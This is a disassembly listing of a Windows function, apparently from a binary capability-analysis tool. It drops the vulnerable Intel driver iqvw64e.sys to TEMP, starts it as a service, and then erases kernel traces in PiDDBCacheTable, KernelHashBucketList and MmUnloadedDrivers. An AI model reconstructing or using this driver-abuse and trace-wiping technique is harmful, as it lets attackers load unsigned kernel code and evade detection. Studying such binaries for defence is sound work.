Function at 0x140001780
Capabilities:
Delete file

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r14
push r15
lea rbp, [rsp - 0xa0]
sub rsp, 0x1a0
mov rax, qword [0x140022010]
xor rax, rsp
mov qword [rbp + 0x90], rax
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
imul eax, ebx
mov ecx, eax
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_srand]
xor r14d, r14d
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, str..Nal
call qword [sym.imp.KERNEL32.dll_CreateFileW]
lea rcx, [rax - 1]
cmp rcx, 0xfffffffffffffffd
ja 0x14000183c
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, str.____DeviceNal_is_already_in_use.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140005ee0
lea rdx, [0x1400060c0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
lea rax, [r14 - 1]
jmp 0x140001c62
xorps xmm0, xmm0
xor eax, eax
movups xmmword [0x140022be0], xmm0
movups xmmword [0x140022bf0], xmm0
movups xmmword [0x140022c00], xmm0
movups xmmword [0x140022c10], xmm0
movups xmmword [0x140022c20], xmm0
movups xmmword [0x140022c30], xmm0
mov dword [0x140022c40], eax
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov r8d, eax
mov eax, 0x66666667
imul r8d
sar edx, 3
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
lea ecx, [rdx + rdx*4]
shl ecx, 2
sub r8d, ecx
add r8d, 0xa
movsxd rdi, r8d
test r8d, r8d
jle 0x1400018e6
mov rbx, r14
movabs r15, 0x4ec4ec4ec4ec4ec5
lea rsi, [0x140000000]
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
movsxd rcx, eax
mov rax, r15
mul rcx
shr rdx, 4
imul rax, rdx, 0x34
sub rcx, rax
movzx eax, byte [rcx + rsi + 0x1bc68]
mov byte [rbx + rsi + 0x22be0], al
inc rbx
cmp rbx, rdi
jl 0x1400018b5
lea rdx, str.____Loading_vulnerable_driver__Name:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140005ee0
mov rbx, rax
lea rcx, [rsp + 0x40]
call fcn.1400012e0
nop
mov r8, qword [rax + 0x10]
cmp qword [rax + 0x18], 8
jb 0x140001915
mov rax, qword [rax]
mov rdx, rax
mov rcx, rbx
call fcn.1400088c0
lea rdx, [0x1400060c0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
nop
mov rdx, qword [rsp + 0x58]
cmp rdx, 8
jb 0x140001976
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001971
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001971
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000ebe0
lea rcx, [rsp + 0x60]
call fcn.140001470
nop
cmp qword [rsp + 0x70], 0
jne 0x1400019b1
lea rdx, str.____Cant_find_TEMP_folder
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140005ee0
lea rdx, [0x1400060c0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
jmp 0x140001c13
lea rcx, [rsp + 0x60]
cmp qword [rsp + 0x78], 8
cmovae rcx, qword [rsp + 0x60]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll__wremove]
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp - 0x80]
call sub.VCRUNTIME140.dll_memset
lea rdx, [rsp + 0x60]
cmp qword [rsp + 0x78], 8
cmovae rdx, qword [rsp + 0x60]
lea rcx, [rbp - 0x80]
call fcn.140005570
nop
mov r8d, 0x8708
lea rdx, [0x140013560]
lea rcx, [rbp - 0x80]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const____ptr64__long_long___int64_____ptr64]
mov rcx, qword [rax]
movsxd rdx, dword [rcx + 4]
lea rcx, [rbp - 0x78]
test byte [rdx + rax + 0x10], 6
je 0x140001a59
call fcn.140005a50
test rax, rax
jne 0x140001a44
mov rax, qword [rbp - 0x80]
movsxd rcx, dword [rax + 4]
lea rax, [rbp - 0x80]
add rcx, rax
xor r8d, r8d
lea edx, [r8 + 2]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
nop
lea rcx, [rbp - 0x80]
call fcn.140001f20
lea rdx, str.____Failed_to_create_vulnerable_driver_file
jmp 0x140001990
call fcn.140005a50
test rax, rax
jne 0x140001a80
mov rax, qword [rbp - 0x80]
movsxd rcx, dword [rax + 4]
lea rax, [rbp - 0x80]
add rcx, rax
xor r8d, r8d
lea edx, [r8 + 2]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
nop
lea rcx, [rbp - 0x80]
call fcn.140001f20
lea rcx, [rsp + 0x60]
call fcn.14000d520
test al, al
jne 0x140001ad6
lea rdx, str.____Failed_to_register_and_start_service_for_the_vulnerable_driver
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140005ee0
lea rdx, [0x1400060c0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
lea rcx, [rsp + 0x60]
cmp qword [rsp + 0x78], 8
cmovae rcx, qword [rsp + 0x60]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll__wremove]
jmp 0x140001c13
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
xor r8d, r8d
mov edx, 0xc0000000
lea rcx, str..Nal
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbx, rax
dec rax
cmp rax, 0xfffffffffffffffd
ja 0x140001be8
mov qword [rsp + 0x40], r14
mov qword [rsp + 0x50], r14
mov qword [rsp + 0x58], 0xf
mov byte [rsp + 0x40], 0
mov r8d, 0xc
lea rdx, [0x140011bb0]
lea rcx, [rsp + 0x40]
call fcn.140005d50
nop
lea rcx, [rsp + 0x40]
call fcn.14000df00
mov qword [0x140022c48], rax
mov rdx, qword [rsp + 0x58]
cmp rdx, 0x10
jb 0x140001b9b
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001b8f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001b8f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000ebe0
mov rax, qword [0x140022c48]
test rax, rax
jne 0x140001ba9
lea rdx, str.____Failed_to_get_ntoskrnl.exe
jmp 0x140001bef
mov rcx, rbx
call fcn.1400034d0
test al, al
jne 0x140001bbe
lea rdx, str.____Failed_to_ClearPiDDBCacheTable
jmp 0x140001bef
mov rcx, rbx
call fcn.140003f50
test al, al
jne 0x140001bd3
lea rdx, str.____Failed_to_ClearKernelHashBucketList
jmp 0x140001bef
mov rcx, rbx
call fcn.140002a90
test al, al
jne 0x140001c1a
lea rdx, str.____Failed_to_ClearMmUnloadedDrivers
jmp 0x140001bef
lea rdx, str.____Failed_to_load_driver_iqvw64e.sys
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140005ee0
lea rdx, [0x1400060c0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
mov rcx, rbx
call fcn.140001c90
mov rbx, 0xffffffffffffffff
mov rdx, qword [rsp + 0x78]
cmp rdx, 8
jb 0x140001c5f
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001c5a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001c5a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000ebe0
mov rax, rbx
mov rcx, qword [rbp + 0x90]
xor rcx, rsp
call fcn.14000ebc0
lea r11, [rsp + 0x1a0]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov rsp, r11
pop r15
pop r14
pop rbp
ret